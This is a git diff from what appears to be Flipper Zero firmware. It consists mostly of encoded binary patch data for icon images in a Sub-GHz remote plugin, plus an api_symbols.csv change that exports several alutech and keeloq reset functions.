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 LwKgd=cDwXHDN#*w literal 0 HcmV?d00001 diff --git a/applications/plugins/subghz_remote/images/back_10px.png b/applications/plugins/subghz_remote/images/back_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..f9c615a99e69c0100b03a9ae7b2df903da4ecd66 GIT binary patch literal 154 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xGmzZ=C-xtZVk{1FcVbv~PUa<$!;&U>c zv7h@-A}f&37T^=&`v3obAT#vPO>_%)r1c48n{Iv*t(u1!X;5977~7Co?ed rv9U?Av01aVRT(gMJdt+jXk=uN>R^g!*w%ImsF1<>&pI=m5)cB{fFDGZlI8yr;B3<$MxhJ?+;A4eL&#) z0Ra}bue?07WhLz78x$BO|L3mq-MMxdP^D^#YeY#(Vo9o1a#1RfVlXl=GSoFN)ipE; zF*LF=Hn1|b&^9ozGB8+QQTzo(LvDUbW?CgwgE3G~h=HkCbE6;07#-3sX@sAxkg$U?hnu$6%_P+PX_Jv(ud zLf1xG|CwUz?7R1Up5OC4zxVgNce*W&4YheW_vK(1mglK+H=%$1JZE+m`hA@F<1zI2 zyA8fptqH{ONK}=TAjGw<2*hDRkufZBKGgVD-U({Lf_l{mhyV1gGrhn5dOvmG&rb;X|2#O* z`;Gdu`y8=lFC6>o;MdlzEhu;(gUPC_z|AEGi;B+`t?Ze5z3-kKC+@xe!rsi0?9s|K zy?-daKNrL9+N8K#jUJb4ydqS`GmmU@)cv;7aPpz%>TUZsFY*}}-;x*iZ59ty6_jpT zvujoMQ}z8jJ+AG;!%Gj}Yq-_gD;(ypTplW&z40q}pQ&N1scCq0d(~q_cR%sbwf8Sv zdVdlA`l;oI1plLZ-jYiT3faL`zr6A#=Lo=7=AJsu{N?^-b1q)%coKW)>T~u}qi^rn z-7>H`clPEJwEVR7TGqAGdqR;5OY#pr*E?^={1s1Y&f(g=vM=|qHywW9AEyugs9|9K z_qUv^T38l3y>(BG-D_BB`RVoV^}JI09`V|mBd`AW<~wBWyCXky1n0|1Nlg+*V)QGN;EdcVFdq|MubW(V_Tn9{lz<&(!Cf?0&8A zl@E$Ck9Ky~46J|Y$whnDXUy8sU3Tos>?t>Un9|+}sNpj`p?cz$4F;W6I^yu1td=)j zwphHBH{ybAO5KJiY~Ik|6F0PrHpy5~o?}l42p|MCfG0x1a7;)zj7eMpo$JG-5l@?` zHXBJXB*PHMf{1m6HIN{}u@W63h2e%VF{(r~MGfORCh)5rn!{*B^Z0mvp@`R;h7ZTa zSU`M`2@oM^6GetXP{HeN+v@{V%k5_5e+8G zkwg*(VF;PVP*i$K$XbuLG3}vK5Kuyqq!%K4ie;ot)zny<8cCZ^NiaQ~ENpU0nj%lI zJjF+!xy>BKy>oC09YBCl_0@MKq5HSOc8#H zHxrPt@G@uPXxUw}=@F^kKtO1=<+RE`fZLx72 zM^h}%PZ&K2qcJ389h0U^tT{O|!J$hHs!^{hL5Gn|PU-6=pgIxrK<@yAog7DH3a%&w z8g!!r!BMD#C>udrd^9VVErOXZqga7TC7!lcqdrv)I*fX4xSm29%!}Gu0vbreA!k;g z%|4nF%vOQs$|!0w97;_$K_%JJIG$`y z0f?!B#blXMGE;<>npEzfp3l7GX_S~MYjF^T&H&=qVRY(yC*C;TeK^CKEcntEB`m4& z*s`e!#M_|0il0b3`57vUflm0by2LgR4nVX&k8KG5wO*Mw+x#3L%ravoDAo)K9*8VK z`z@R#$`oXol=A*h>SY-g(0){rAj zX|i`eX-Qc`CULv;$ClJi>UW`W?b^xP)oq_>=<%(|iFP_&{;^5&uL6OoA}L2u$;}G@ zRN$B(Zj5Yq}83M;=f=r9w8MiVD2l{4`U z0fy0oX&k*FI5pSMi{36|`Ri-l*r@*9d2H`fXk<>LZgmX9OeOkpSK|4KPBfUUdA!xx z?`7r}mf #include -#include +#include #include #include diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_0.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_0.png deleted file mode 100644 index 166d2229b4c8f2e6c023173424d6e155e955afd6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1623 zcmcIk&x_BY3d7Qt1xUNyVgQ zx@Rtmh_HL|;J>hf2R(~|dJ#nMz8CS}LGa>LJo&0S9T(Xjb1{&ll6>{O@4ffs-PzxJ z^YWz^FKL=~d9d3*fcv^SpScLvPhR=@W4NtVyKgs|W^AbQ!u;OmiKadMV?I2Thsn)| ziNc_%7;$4>RDjmB>znh6vLi0hh>!C!#(#eE9Y%Q?|R>O9e!S$v)Z^HAkL7bVi7c{LrvG z*A0T#kWFl265q6lZrc&@qMn1=14Fbr&7y<;8*MCjit$9sDl*O4Y-Y?HL)2r_3d7JO zwrSfsAoS+6lyt6_&BltM&l^_fmCQwn6eAspV;N&mx=f*{I@+>n%LD~8=d>~{gQ%2N zz$AG*v?w}sBX>?9N~`yw#Le)u;^qNw#Bt5|&IvE&#wu9Ky1mtLJzZp)GLuhv0k8&y zSzV}VBBW?0;t_dtpSx_TXuIZAih3x-bk(T+6$`R$gP^Oo^D-5)=9*H}Zs2_?d5ocJ zwoU@wc88W9xlZKtUL{UM$P$`>4^k@W`M@I0v(xiHlO!6Hjie>xgMN%bl#%CY`AgfZ9DpfS}{0sz9MtZt!xm>3~mg*VdPUZm% z?fDp`EXqV(Q1D4!&@nfwa*WZxYPQ8x)QL!;=8keRutOHRc>}FGZU2v3{JnNH&C$Yi z5oOBjF=ndCJjLzn{9)BQm(C^aY{G%`G0k7X8j;Bvt@+j%D*Z%rnU50R(32-fKUd@b zN9k=@*@Tv34ujLgDj8Fam}OJU|MqL~?SXN$g2Rkc%Wk;BLpPpz3Dh+V-@9V%Zy4OY zL4Rv_^#%6Vb5A`RXg4mr^UM1$X~qv9e7^oO`Rby)cmIpehS%2CzyHno>C^Q;o<~Cf*(6m=>pl}gPD1fmkM91v-#?Prg_sfj|Il96zTl0glXD)ssK&Wx3@pRt`8 zCqe=t1Y!kSegLcxD^{?8>|lX}_#@r28`RW!>m9Oss( z6P>8URy88)x<@R}?1}9mVYDJ1di%khHWohl(zvQ}PgQ5LnKJ7sycnsP>$)n@Rb7`6 zA(tmvMQb@L*Om+cl&nbdD&d*fFw%%0SH6Tw7b&E9N1K&xnXq7LO>4IV z)3igE)%Fylw0fUNTnu5nP(a^6(*1(tVCg27b+j~ zikD;llsvl6T{gM5RRFDcG2nc%Y}DS8MbveLi0gNgEatQFMx&_R00FJQm#}NPOdMG^ z2Ab^|hG*DslAcG%0vh5R#I&Lp1M@f;o?HYPhF(7_E1EIr2fl=&lq88g+ljQua5UM8 zbX&GG!;&Mz#CZbKa%|eOnbDi;!u_}$2H5&T=Ai^XULGcK=a*vY3+M7ZlfP; z4%S~}|9t)2%X?>^41W9cht>P5AAG)Y@WLC{!z+JIZ{B$QY^DDA&bNP`y?W`j;Fk8s aW#KLVr+Z(nKm4n4{{HrE@Z&oVKKmD_yz`s@ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_2.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_2.png deleted file mode 100644 index 10727049d33e55e592d1330b94bcf1ae5e785788..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1593 zcmcIk&u`pB7NLOmOF`k*-wX*gYdy?Jc z$e~iz16(+Ati*{w01hC*fin_+2RGCs-|Tu#h1!q{mTZshH}8Aj55FfzhacU(_4X~t zac++ehR1M!)1I%t2G_6O{oyg(-lz^fYaGYhvgeKEvz>Ftx%pc@J~1ch$4uzL<5FkJ zTNV|d9p}N$vf|=Y88=hYyiCxaKmLT=TqfvIKP73kr)K%VWvw1w9*)K3sfZ=odEb4o zWI#|T!`)>uFB`T@(2AGA+P?OYyMmb01nt^@?n!#&?&(^&kw>r~gt~*+3!*UG-hR)e zgc6?&{D5Fe8HrfG=e7reXtkWM)#$TYsQq(QnypPRDZ0JYSv_B6Duu7+ssLC6!h$YTHPc2n zGyRG@y3buU72B&7H@Y5cJ>N9yXv5-C>Jj(eqr8-Q(Y#|7wHwrs8)0BQIq|V{b;qw<+ttttOVUNVoq#xlpP(7>y;K@ipaS(EqsZffHQshd(Cb}*- z%t>DGsq(9GirjzH?CH6#Q!Sz9Jv+_74p|)J4Ycl}{XZV6FWS{ScUMElxUjRHAYq%V zBx+yhFR9-3bgpR^GXHi!q|5f4}etxy|>oxv=l-`zA%y>Cf zV4Oa($@tb{)=lyM-LKWR7wl*Q2amJM&RpT4vu9NTbq(g*`^J0=#{Jf4xI4agM?C-P n#@(Ntr_aCp{nKZ^-oNS0$A8`Z#0l&B diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_3.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_3.png deleted file mode 100644 index c6d314d86ffecc88f52cecc87fc9f6caf6a8452c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1610 zcmcIkJ#XYh7bhdH6UkmfAeo*6&y^FHr~-%kz?UcGVs z`RkTt-RSLgkKny-?x&xC=jXS+{TN=?%DuO0%W^l&y*9hQb!J&l{halW^>MmSxyoH8 z)Ihqkyacpm-QJp&jGstt59BB-66g2tesJteB+k87iqmpOjqTX0BbY;z}tkjt*Y{SR~>QpBVC|!h*mkn)EFVh4G^Jc8{d>5OLR=_m9 z9Gd41y4JgA;AN@zp~Q9nyp-ONtkr47zhW=(m-~ZmWcyZBM5g8 z3HyFT!#2g_1sqU}7tj>?Krqd&238^)o?iu;rnFboniX93x`_j#+$<9`h;cmZ1RTXf z93k$95n?PNNRT+6OLEvHw-Gqb90Km4KWFrkfX0>}55S?tJ-w+?DSxSCh=1Hyvf%^m^iO zQ)CIzFOIW^WbbM^7xvS!1ky{2zkt6vg{*z2@H@7)L8O%s8`bhAV8E@hl6Vu3-3n`O@E?!rcNxX*^?mt0WV%X`ldS_7ug->VjxK+dFpwe_ao0&M~83Sxc=gG zP19}+4*JJ%f3`WFegdvvzw-STaJyC^9S4Kn)cMs>F}gJiQfsi%1kCy zBF%YL09w1##mls)Qx$R$$8{O-gHE9A6I2 zvJPF<`{xj))%!@|YPcvQK9-d_E4kc1mwCOp4kmcFw>T@O%S;8waw;=`RUpjjLKPEL zt7@VilSlWt%ccnTO37+f4wag&8+Ej1L6n*V-MX9RLd~k%jiPpg?6X=%I&_U1#5brj zw7k%PuDP!gJ0xTUjbRQ1tJ&4SN~EL3RiJSk4)UsIIhTWeq=P6kO+`pOS5nXR4Tt;8 zV8Zc?M7X|T*}ONh0&ZEBz0?K!`--16Z^5{44*EO8 zTQBgxo_q2cU)$Zd_xmR=Y35I#-hcVKKi+%r`R?s&&%Z6o4ebs3%hs>&FMeyxez1So K|7Q2Y&;ABlOYj%~ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_5.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_5.png deleted file mode 100644 index c6d314d86ffecc88f52cecc87fc9f6caf6a8452c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1610 zcmcIkJ#XYh7bhdH6UkmfAeo*6&y^FHr~-%kz?UcGVs z`RkTt-RSLgkKny-?x&xC=jXS+{TN=?%DuO0%W^l&y*9hQb!J&l{halW^>MmSxyoH8 z)Ihqkyacpm-QJp&jGstt59BB-66g2tesJteB+k87iqmpOjqTX0BbY;z}tkjt*Y{SR~>QpBVC|!h*mkn)EFVh4G^Jc8{d>5OLR=_m9 z9Gd41y4JgA;AN@zp~Q9nyp-ONtkr47zhW=(m-~ZmWcyZBM5g8 z3HyFT!#2g_1sqU}7tj>?Krqd&238^)o?iu;rnFboniX93x`_j#+$<9`h;cmZ1RTXf z93k$95n?PNNRT+6OLEvHw-Gqb90Km4KWFrkfX0>}55S?tJ-w+?DSxSCh=1Hyvf%^m^iO zQ)CIzFOIW^WbbM^7xvS!1ky{2zkt6vg{*z2@H@7)L8O%s8`bhAV8E@hl6Vu3-3n`O@E?!rNLOmOF`k*-wX*gYdy?Jc z$e~iz16(+Ati*{w01hC*fin_+2RGCs-|Tu#h1!q{mTZshH}8Aj55FfzhacU(_4X~t zac++ehR1M!)1I%t2G_6O{oyg(-lz^fYaGYhvgeKEvz>Ftx%pc@J~1ch$4uzL<5FkJ zTNV|d9p}N$vf|=Y88=hYyiCxaKmLT=TqfvIKP73kr)K%VWvw1w9*)K3sfZ=odEb4o zWI#|T!`)>uFB`T@(2AGA+P?OYyMmb01nt^@?n!#&?&(^&kw>r~gt~*+3!*UG-hR)e zgc6?&{D5Fe8HrfG=e7reXtkWM)#$TYsQq(QnypPRDZ0JYSv_B6Duu7+ssLC6!h$YTHPc2n zGyRG@y3buU72B&7H@Y5cJ>N9yXv5-C>Jj(eqr8-Q(Y#|7wHwrs8)0BQIq|V{b;qw<+ttttOVUNVoq#xlpP(7>y;K@ipaS(EqsZffHQshd(Cb}*- z%t>DGsq(9GirjzH?CH6#Q!Sz9Jv+_74p|)J4Ycl}{XZV6FWS{ScUMElxUjRHAYq%V zBx+yhFR9-3bgpR^GXHi!q|5f4}etxy|>oxv=l-`zA%y>Cf zV4Oa($@tb{)=lyM-LKWR7wl*Q2amJM&RpT4vu9NTbq(g*`^J0=#{Jf4xI4agM?C-P n#@(Ntr_aCp{nKZ^-oNS0$A8`Z#0l&B diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_7.png b/assets/icons/MainMenu/SubGHzRemote_14/frame_7.png deleted file mode 100644 index 8bd337c697cf824fa2670e36db8b116f40b5d35d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1622 zcmcIkO>f*(6m=>pl}gPD1fmkM91v-#?Prg_sfj|Il96zTl0glXD)ssK&Wx3@pRt`8 zCqe=t1Y!kSegLcxD^{?8>|lX}_#@r28`RW!>m9Oss( z6P>8URy88)x<@R}?1}9mVYDJ1di%khHWohl(zvQ}PgQ5LnKJ7sycnsP>$)n@Rb7`6 zA(tmvMQb@L*Om+cl&nbdD&d*fFw%%0SH6Tw7b&E9N1K&xnXq7LO>4IV z)3igE)%Fylw0fUNTnu5nP(a^6(*1(tVCg27b+j~ zikD;llsvl6T{gM5RRFDcG2nc%Y}DS8MbveLi0gNgEatQFMx&_R00FJQm#}NPOdMG^ z2Ab^|hG*DslAcG%0vh5R#I&Lp1M@f;o?HYPhF(7_E1EIr2fl=&lq88g+ljQua5UM8 zbX&GG!;&Mz#CZbKa%|eOnbDi;!u_}$2H5&T=Ai^XULGcK=a*vY3+M7ZlfP; z4%S~}|9t)2%X?>^41W9cht>P5AAG)Y@WLC{!z+JIZ{B$QY^DDA&bNP`y?W`j;Fk8s aW#KLVr+Z(nKm4n4{{HrE@Z&oVKKmD_yz`s@ diff --git a/assets/icons/MainMenu/SubGHzRemote_14/frame_rate b/assets/icons/MainMenu/SubGHzRemote_14/frame_rate deleted file mode 100644 index bf0d87ab1..000000000 --- a/assets/icons/MainMenu/SubGHzRemote_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -4 \ No newline at end of file diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 202c6a4d8..6192cafed 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -509,7 +509,7 @@ Function,+,aligned_free,void,void* Function,+,aligned_malloc,void*,"size_t, size_t" Function,-,alutech_get_custom_btn,uint8_t, Function,-,alutech_get_original_btn,uint8_t, -Function,-,alutech_reset_original_btn,void, +Function,+,alutech_reset_original_btn,void, Function,-,alutech_set_btn,void,uint8_t Function,-,arc4random,__uint32_t, Function,-,arc4random_buf,void,"void*, size_t" @@ -1825,9 +1825,9 @@ Function,-,jnf,float,"int, float" Function,-,jrand48,long,unsigned short[3] Function,-,keeloq_get_custom_btn,uint8_t, Function,-,keeloq_get_original_btn,uint8_t, -Function,-,keeloq_reset_kl_type,void, -Function,-,keeloq_reset_mfname,void, -Function,-,keeloq_reset_original_btn,void, +Function,+,keeloq_reset_kl_type,void, +Function,+,keeloq_reset_mfname,void, +Function,+,keeloq_reset_original_btn,void, Function,-,keeloq_set_btn,void,uint8_t Function,-,l64a,char*,long 